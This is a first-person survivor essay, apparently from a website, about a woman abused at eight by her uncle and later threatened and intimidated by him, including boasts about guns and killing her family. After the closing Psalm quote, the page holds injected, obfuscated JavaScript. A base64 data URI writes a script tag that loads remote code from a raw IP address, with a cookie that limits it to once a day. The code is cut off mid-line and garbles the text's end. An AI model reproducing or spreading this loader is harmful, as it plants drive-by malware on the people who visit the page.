Threats Remembered

by: Anonymous
What follows is true incident. It happened in 1981, and it began when I consulted a lawyer about sexual abuse I had experienced at the hands of my 33-year-old uncle. I had been 8 years old at the time.
The lawyer made a suggestion: “Write this man a letter and, in a nice way, suggest he pay for counseling for the trauma which you now recall. We’ll see what happens.”
It wasn’t long before we found out what would happen. My uncle drove to our house. At first he acted as sweet as sugar to my family, hugging them and visiting with them. Then he came to where I was by myself, and the threats literally glued me to my chair.
I felt like I was being abused all over again. He was saying, “You can take me to court – you see, we have a Big Court – but you will LOSE!” The dialog started something like this:
“I will draft a letter and write what you did, and send it to whomever!”
“I will tell your family about what you did with me. How do you think your family will look at you when they know this?!” (Nice job of shifting the blame. Hey I was 8 years old! Aren’t adults supposed to take responsibility for their acts?)
Then I continued: “I can make hundreds of copies of all letters!” His response: “I have friends in the police force. They all know me. I even know some in the courthouse! So, you see, the police know me as a good person. I never had a ticket. I don’t have any enemies.”
I said, “This is blackmail!” He replied, “No, that’s just keeping your sh*t where your sh*t belongs!” I fired my parting shot: “YOU WILL ALWAYS LOSE!” But I was already having my doubts about that. When the family would enter where we were, he’d stop and say, “Oh, we are just shooting the bull, talking about good times.”
‘Good times’ indeed! For four years I lived in silence and total fear. Then I got up the courage to call social services and ask what recourse an adult would have if she were threatened by a relative who had molested her.
I asked, “Can you help?” They were very responsive and said, “Come in and give us the name of the person, and state what happened. It will stay on file.”
The threats never stopped. He even bragged to me, “I have two shotguns and two pistols. I could kill my wife if I wanted to! I can even kill your entire family.”
Five years passed, and I found out he had died. I thought my fears were over. Well, for this one they were – but other repressed memories came forward for me. The worst was yet to come…
“Let the lying lips be put to silence.” ~Psalms XXXI ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘